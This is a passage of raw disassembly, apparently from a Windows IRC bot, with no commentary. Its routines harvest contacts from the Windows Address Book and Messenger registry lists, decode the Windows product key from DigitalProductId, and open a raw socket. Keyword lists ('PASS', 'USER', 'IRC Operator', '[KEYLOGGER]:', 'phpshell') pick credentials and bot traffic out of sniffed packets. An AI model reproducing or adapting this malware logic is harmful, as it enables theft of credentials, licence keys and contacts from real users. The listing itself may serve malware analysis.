		push	[ebp+var_48]
		xor	edi, edi
		inc	edi
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		jmp	short loc_425163
; ---------------------------------------------------------------------------


loc_425160:				; CODE XREF: sub_425092+B0j
		mov	edi, [ebp+var_8]


loc_425163:				; CODE XREF: sub_425092+CCj
		call	sub_424EAB
		mov	esi, eax
		push	esi
		call	sub_4246B0
		test	eax, eax
		pop	ecx
		jz	loc_425216
		call	sub_424D65
		mov	ebx, eax
		push	ebx
		call	sub_4246B0
		test	eax, eax
		pop	ecx
		jz	loc_425216
		push	ebx
		call	sub_424762
		test	eax, eax
		pop	ecx
		jz	short loc_425211
		push	esi
		call	sub_42495D
		test	eax, eax
		pop	ecx
		jz	short loc_425211
		lea	eax, [ebp+var_28E4]
		push	edi
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_18]
		push	[ebp+var_D0]
		push	eax
		push	offset dword_4503CC
		push	esi
		call	sub_424B0B
		lea	eax, [ebp+var_28E4]
		push	edi
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_18]
		push	[ebp+var_D0]
		push	eax
		push	offset dword_4503BC
		push	esi
		call	sub_424B0B
		lea	eax, [ebp+var_28E4]
		push	edi
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_18]
		push	[ebp+var_D0]
		push	eax
		push	offset dword_4503AC
		push	esi
		call	sub_424B0B
		add	esp, 54h


loc_425211:				; CODE XREF: sub_425092+106j
					; sub_425092+111j
		xor	eax, eax
		inc	eax
		jmp	short loc_425218
; ---------------------------------------------------------------------------


loc_425216:				; CODE XREF: sub_425092+69j
					; sub_425092+9Dj ...
		xor	eax, eax


loc_425218:				; CODE XREF: sub_425092+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_425092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42521F	proc near		; DATA XREF: sub_40A9FE+1197o

var_794		= byte ptr -794h
var_394		= byte ptr -394h
var_290		= byte ptr -290h
var_24C		= byte ptr -24Ch
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= byte ptr -0E0h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 794h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_E4]
		rep movsd
		xor	edi, edi
		xor	ebx, ebx
		inc	edi


loc_425240:				; DATA XREF: .text:off_44F904o
		mov	[ebp+var_1C], 320h
		mov	[eax+0BCh], edi
		mov	eax, [ebp+var_E4]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		call	dword_437004	; RegOpenKeyExA
		cmp	[ebp+var_C], ebx
		jnz	short loc_42527C


loc_425275:				; CODE XREF: sub_42521F+BDj
					; sub_42521F+E1j
		mov	eax, edi
		jmp	loc_425482
; ---------------------------------------------------------------------------


loc_42527C:				; CODE XREF: sub_42521F+54j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_394]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_454A54
		push	[ebp+var_C]
		call	dword_437028	; RegQueryValueExA
		push	[ebp+var_C]
		call	dword_437000	; RegCloseKey
		push	ebx
		push	80h
		push	4
		push	ebx
		push	edi
		lea	eax, [ebp+var_394]
		push	80000000h
		push	eax
		call	dword_43705C	; CreateFileA
		push	ebx
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4370C8	; CreateFileMappingA
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jnz	short loc_4252DE
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		jmp	short loc_425275
; ---------------------------------------------------------------------------


loc_4252DE:				; CODE XREF: sub_42521F+B2j
		push	ebx
		push	ebx
		push	ebx
		push	4
		push	eax
		call	dword_437040	; MapViewOfFile
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_425305
		push	[ebp+var_10]
		mov	esi, dword_437044
		call	esi ; dword_437044
		push	[ebp+var_4]
		call	esi ; dword_437044
		jmp	loc_425275
; ---------------------------------------------------------------------------


loc_425305:				; CODE XREF: sub_42521F+CFj
		xor	ecx, ecx
		xor	eax, eax
		mov	ch, [esi+63h]
		mov	ah, [esi+61h]
		mov	cl, [esi+62h]
		movsx	edi, byte ptr [esi+64h]
		movzx	eax, ax
		shl	ecx, 10h
		or	ecx, eax
		movzx	eax, byte ptr [esi+60h]
		or	ecx, eax
		mov	eax, edi
		imul	eax, 44h
		cmp	eax, ebx
		jle	short loc_425392
		add	ecx, esi
		push	44h
		mov	[ebp+var_8], ecx
		dec	eax
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	edi, eax
		inc	edi


loc_42533D:				; CODE XREF: sub_42521F+171j
		mov	ecx, [ebp+var_8]
		xor	eax, eax


loc_425342:				; CODE XREF: sub_42521F+132j
		mov	dl, [ecx]
		inc	ecx
		mov	[ebp+eax+var_290], dl
		inc	ecx
		inc	eax
		cmp	eax, 44h
		jle	short loc_425342
		cmp	[ebp+var_2C], ebx
		lea	eax, [ebp+var_290]
		push	eax
		lea	eax, [ebp+var_E0]
		push	offset aS_5	; "%s"
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_24C], bl
		jnz	short loc_42537B
		call	sub_41CE4A
		jmp	short loc_425380
; ---------------------------------------------------------------------------


loc_42537B:				; CODE XREF: sub_42521F+153j
		call	sub_41CDD4


loc_425380:				; CODE XREF: sub_42521F+15Aj
		add	esp, 10h
		push	64h
		call	dword_437190	; Sleep
		add	[ebp+var_8], 44h
		dec	edi
		jnz	short loc_42533D


loc_425392:				; CODE XREF: sub_42521F+10Cj
		push	[ebp+var_4]
		mov	edi, dword_437044
		call	edi ; dword_437044
		push	esi
		call	dword_437048	; UnmapViewOfFile
		push	[ebp+var_10]
		call	edi ; dword_437044
		lea	eax, [ebp+var_18]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSoftwareMicr_3 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	dword_437004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_42547F
		mov	esi, 400h
		mov	[ebp+var_20], 3
		mov	[ebp+var_14], esi
		mov	[ebp+var_4], ebx
		mov	edi, offset dword_4504C4


loc_4253E2:				; CODE XREF: sub_42521F+252j
		push	80h
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		call	sub_429760
		push	[ebp+var_4]
		lea	eax, [ebp+var_164]
		push	offset aAllowD	; "Allow%d"
		push	eax
		call	sub_429B03
		inc	[ebp+var_4]
		push	esi
		lea	eax, [ebp+var_794]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_429760
		add	esp, 24h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_794]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		push	[ebp+var_18]
		call	dword_437028	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_425476
		cmp	[ebp+var_2C], ebx
		lea	eax, [ebp+var_794]
		push	eax
		lea	eax, [ebp+var_E0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_425461
		call	sub_41CE4A
		jmp	short loc_425466
; ---------------------------------------------------------------------------


loc_425461:				; CODE XREF: sub_42521F+239j
		call	sub_41CDD4


loc_425466:				; CODE XREF: sub_42521F+240j
		add	esp, 10h
		push	64h
		call	dword_437190	; Sleep
		jmp	loc_4253E2
; ---------------------------------------------------------------------------


loc_425476:				; CODE XREF: sub_42521F+222j
		push	[ebp+var_18]
		call	dword_437000	; RegCloseKey


loc_42547F:				; CODE XREF: sub_42521F+1A6j
		xor	eax, eax
		inc	eax


loc_425482:				; CODE XREF: sub_42521F+58j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_42521F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425489	proc near		; CODE XREF: sub_425568+127p

var_AC		= byte ptr -0ACh
var_78		= byte ptr -78h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0ACh
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	20019h
		push	3
		push	offset aSoftwareMicr_4 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		xor	esi, esi
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_425563
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 0A4h
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	esi
		push	esi
		push	offset aDigitalproduct ; "DigitalProductId"
		push	[ebp+var_4]
		call	dword_456DF0	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_42555A
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], esi
		push	edi
		push	0Fh
		lea	esi, [ebp+var_78]
		setnz	bl
		pop	ecx
		lea	edi, [ebp+var_AC]
		lea	ebx, ds:18h[ebx*4]
		add	ebx, [ebp+arg_0]
		mov	[ebp+arg_0], 18h
		rep movsb


loc_425507:				; CODE XREF: sub_425489+CAj
		push	0Eh
		xor	eax, eax
		pop	esi


loc_42550C:				; CODE XREF: sub_425489+A1j
		lea	ecx, [ebp+esi+var_AC]
		push	18h
		shl	eax, 8
		movzx	edx, byte ptr [ecx]
		xor	eax, edx
		xor	edx, edx
		pop	edi
		div	edi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		mov	[ecx], al
		mov	eax, edx
		jg	short loc_42550C
		mov	al, byte_450544[eax]
		push	5
		mov	[ebx], al
		mov	eax, [ebp+arg_0]
		cdq
		pop	ecx
		dec	ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_425550
		cmp	[ebp+arg_0], edx
		jle	short loc_425550
		cmp	[ebp+arg_4], edx
		jz	short loc_425550
		mov	byte ptr [ebx],	2Dh
		dec	ebx


loc_425550:				; CODE XREF: sub_425489+B7j
					; sub_425489+BCj ...
		dec	[ebp+arg_0]
		jns	short loc_425507
		xor	esi, esi
		pop	edi
		inc	esi
		pop	ebx


loc_42555A:				; CODE XREF: sub_425489+53j
		push	[ebp+var_4]
		call	dword_456F08	; RegCloseKey


loc_425563:				; CODE XREF: sub_425489+29j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_425489	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425568	proc near		; CODE XREF: sub_40A9FE+145Dp

var_BC		= byte ptr -0BCh
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		push	edi
		push	offset dword_6607EC
		mov	esi, offset off_447718
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_9C]
		mov	[ebp+var_9C], 9Ch
		push	eax
		call	dword_437050	; GetVersionExA
		test	eax, eax
		jz	loc_425686
		push	[ebp+var_94]
		push	[ebp+var_98]
		push	offset aD_D	; "%d.%d"
		push	4
		push	esi
		call	sub_429BBE
		add	esp, 14h
		cmp	[ebp+var_98], 4
		jnz	short loc_42561B
		cmp	[ebp+var_94], edi
		jnz	short loc_4255FB
		cmp	[ebp+var_8C], 1
		jnz	short loc_4255E4
		mov	esi, offset a95	; "95"


loc_4255E4:				; CODE XREF: sub_425568+75j
		cmp	[ebp+var_8C], 2
		jnz	loc_425686
		mov	esi, offset aNt_0 ; "NT"
		jmp	loc_425686
; ---------------------------------------------------------------------------


loc_4255FB:				; CODE XREF: sub_425568+6Cj
		cmp	[ebp+var_94], 0Ah
		jnz	short loc_42560B
		mov	esi, offset a98	; "98"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_42560B:				; CODE XREF: sub_425568+9Aj
		cmp	[ebp+var_94], 5Ah
		jnz	short loc_425686
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_42561B:				; CODE XREF: sub_425568+64j
		cmp	[ebp+var_98], 5
		jnz	short loc_425653
		cmp	[ebp+var_94], edi
		jnz	short loc_425633
		mov	esi, offset a2k	; "2K"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_425633:				; CODE XREF: sub_425568+C2j
		cmp	[ebp+var_94], 1
		jnz	short loc_425643
		mov	esi, offset aXp	; "XP"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_425643:				; CODE XREF: sub_425568+D2j
		cmp	[ebp+var_94], 2
		jnz	short loc_425686
		mov	esi, offset a2k3_0 ; "2K3"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_425653:				; CODE XREF: sub_425568+BAj
		cmp	[ebp+var_98], 6
		jnz	short loc_425686
		cmp	[ebp+var_94], edi
		jnz	short loc_425678
		cmp	[ebp+var_2], 1
		jnz	short loc_425671
		mov	esi, offset aVista_0 ; "Vista"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_425671:				; CODE XREF: sub_425568+100j
		mov	esi, offset a2008 ; "2008"
		jmp	short loc_425686
; ---------------------------------------------------------------------------


loc_425678:				; CODE XREF: sub_425568+FAj
		cmp	[ebp+var_94], 1
		jnz	short loc_425686
		mov	esi, offset a7	; "7"


loc_425686:				; CODE XREF: sub_425568+3Bj
					; sub_425568+83j ...
		lea	eax, [ebp+var_BC]
		push	1
		push	eax
		call	sub_425489
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4256CF
		lea	eax, [ebp+var_BC]
		cmp	[ebp+arg_8], edi
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	esi
		push	offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
		push	offset aSWindowsSSKey_ ; "%s Windows %s	(%s) Key: %.29s"
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_4256C8
		call	sub_41CE4A


loc_4256C3:				; CODE XREF: sub_425568+165j
		add	esp, 1Ch
		jmp	short loc_4256F3
; ---------------------------------------------------------------------------


loc_4256C8:				; CODE XREF: sub_425568+154j
		call	sub_41CDD4
		jmp	short loc_4256C3
; ---------------------------------------------------------------------------


loc_4256CF:				; CODE XREF: sub_425568+130j
		cmp	[ebp+arg_8], edi
		push	offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
		push	offset aSWindowsKeyNot ; "%s Windows Key not found."
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_4256EB
		call	sub_41CE4A
		jmp	short loc_4256F0
; ---------------------------------------------------------------------------


loc_4256EB:				; CODE XREF: sub_425568+17Aj
		call	sub_41CDD4


loc_4256F0:				; CODE XREF: sub_425568+181j
		add	esp, 10h


loc_4256F3:				; CODE XREF: sub_425568+15Ej
		pop	edi
		pop	esi
		leave
		retn
sub_425568	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256F7	proc near		; CODE XREF: sub_40A9FE+1503p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		lea	eax, [ebp+var_4]
		push	esi
		xor	esi, esi
		push	eax
		push	20019h
		push	esi
		push	[ebp+arg_10]
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], 80h
		push	[ebp+arg_C]
		call	dword_437004	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	esi
		push	esi
		push	[ebp+arg_14]
		push	[ebp+var_4]
		call	dword_437028	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_425774
		lea	eax, [ebp+var_88]
		cmp	[ebp+arg_8], esi
		push	eax
		push	offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
		push	offset aSS_	; "%s %s."
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_425763
		call	sub_41CE4A
		jmp	short loc_425768
; ---------------------------------------------------------------------------


loc_425763:				; CODE XREF: sub_4256F7+63j
		call	sub_41CDD4


loc_425768:				; CODE XREF: sub_4256F7+6Aj
		add	esp, 14h
		push	[ebp+var_4]
		call	dword_437000	; RegCloseKey


loc_425774:				; CODE XREF: sub_4256F7+47j
		pop	esi
		leave
		retn
sub_4256F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425777	proc near		; CODE XREF: sub_425AE4+198p
					; sub_425AE4+1BCp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_6607FC, eax
		mov	eax, offset dword_6607FC
		retn
sub_425777	endp


; =============== S U B	R O U T	I N E =======================================



sub_425786	proc near		; CODE XREF: sub_425AE4+226p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_443F24
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4257A0


loc_42579C:				; CODE XREF: sub_425786+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4257A0:				; CODE XREF: sub_425786+14j
		push	offset dword_443F14
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42579C
		push	offset aSh	; "!* SH"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4257C7


loc_4257C2:				; CODE XREF: sub_425786+50j
					; sub_425786+61j ...
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4257C7:				; CODE XREF: sub_425786+3Aj
		push	offset aUdp	; "!* UDP"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aPan	; "!* PAN"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aPush	; "!* PUSH"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aWget	; "wget"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aPhpshell ; "phpshell"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aMain_1	; "[MAIN]:"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aScan	; "[SCAN]:"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4257C2
		push	offset aFtp_0	; "[FTP]:"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4257C2
		push	offset aTftp_0	; "[TFTP]:"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4257C2
		push	offset aKeylogger ; "[KEYLOGGER]:"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4257C2
		push	offset aVnc	; "[VNC]:"
		push	esi
		call	sub_42AEA0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_425786	endp


; =============== S U B	R O U T	I N E =======================================



sub_425892	proc near		; CODE XREF: sub_425AE4:loc_425D37p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aLtlec18us5q0 ; "LTLec18US5q0"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4258AC


loc_4258A8:				; CODE XREF: sub_425892+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4258AC:				; CODE XREF: sub_425892+14j
		push	offset dword_443F24
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258A8
		push	offset dword_443F14
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4258D3


loc_4258CE:				; CODE XREF: sub_425892+50j
					; sub_425892+61j ...
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4258D3:				; CODE XREF: sub_425892+3Aj
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aIrcOperator ; "IRC Operator"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aNowANetworkAdm ; "now a	network	administrator"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aPrivmsg	; "PRIVMSG"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aJoin	; "JOIN"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aOper	; "OPER"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aPong	; "PONG"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4258CE
		push	offset aPing	; "PING"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4258CE
		push	offset aUserhost ; "USERHOST"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4258CE
		push	offset aNotice	; "NOTICE"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4258CE
		push	offset aTopic_0	; "TOPIC"
		push	esi
		call	sub_42AEA0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_425892	endp


; =============== S U B	R O U T	I N E =======================================



sub_42599E	proc near		; CODE XREF: sub_425AE4:loc_425D61p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_443F24
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4259B8


loc_4259B4:				; CODE XREF: sub_42599E+29j
					; sub_42599E+3Aj ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4259B8:				; CODE XREF: sub_42599E+14j
		push	offset dword_443F14
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4259B4
		push	offset off_4506DC
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4259B4
		push	offset aMail	; "Mail"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4259B4
		push	offset aUser_1	; "USER	"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_425A01
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_425A01:				; CODE XREF: sub_42599E+5Cj
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_42AEA0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_42599E	endp


; =============== S U B	R O U T	I N E =======================================



sub_425A16	proc near		; CODE XREF: sub_425AE4:loc_425D8Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_443F24
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_425A30


loc_425A2C:				; CODE XREF: sub_425A16+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425A30:				; CODE XREF: sub_425A16+14j
		push	offset dword_443F14
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_425A2C
		push	offset a_bot	; "_BOT"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_425A57
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_425A57:				; CODE XREF: sub_425A16+3Aj
		push	offset a_bot_login ; "_BOT_LOGIN"
		push	esi
		call	sub_42AEA0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_425A16	endp


; =============== S U B	R O U T	I N E =======================================



sub_425A6C	proc near		; CODE XREF: sub_425AE4:loc_425DB5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_443F24
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_425A86


loc_425A82:				; CODE XREF: sub_425A6C+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425A86:				; CODE XREF: sub_425A6C+14j
		push	offset dword_443F14
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_425A82
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_425AAD


loc_425AA8:				; CODE XREF: sub_425A6C+50j
					; sub_425A6C+61j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_425AAD:				; CODE XREF: sub_425A6C+3Aj
		push	offset aApache1_3 ; "Apache/1.3"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_425AA8
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_425AA8
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_42AEA0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_425A6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425AE4	proc near		; DATA XREF: sub_40A9FE+FFCo

var_4FC		= byte ptr -4FCh
var_4FB		= byte ptr -4FBh
var_3FC		= byte ptr -3FCh
var_3F3		= byte ptr -3F3h
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= dword	ptr -3E8h
var_3D4		= byte ptr -3D4h
var_1FC		= byte ptr -1FCh
var_17C		= byte ptr -17Ch
var_FC		= dword	ptr -0FCh
var_F8		= byte ptr -0F8h
var_78		= dword	ptr -78h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4FCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_FC]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		xor	ebx, ebx
		mov	[eax+0BCh], esi
		mov	eax, [ebp+var_FC]
		mov	[ebp+arg_0], eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_4FB]
		mov	[ebp+var_4FC], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_4FC]
		mov	[ebp+var_24], 2
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+var_20], ebx
		call	dword_456F4C	; gethostname
		lea	eax, [ebp+var_4FC]
		push	eax
		call	dword_456FD4	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_429420
		mov	eax, [ebp+var_10]
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		push	ebx
		push	3
		push	2
		call	dword_456FD0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jnz	short loc_425B96
		push	[ebp+var_78]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_425B96:				; CODE XREF: sub_425AE4+A0j
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_456F6C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BBF
		push	edi
		call	dword_456FF0	; closesocket
		push	[ebp+var_78]
		call	sub_423623
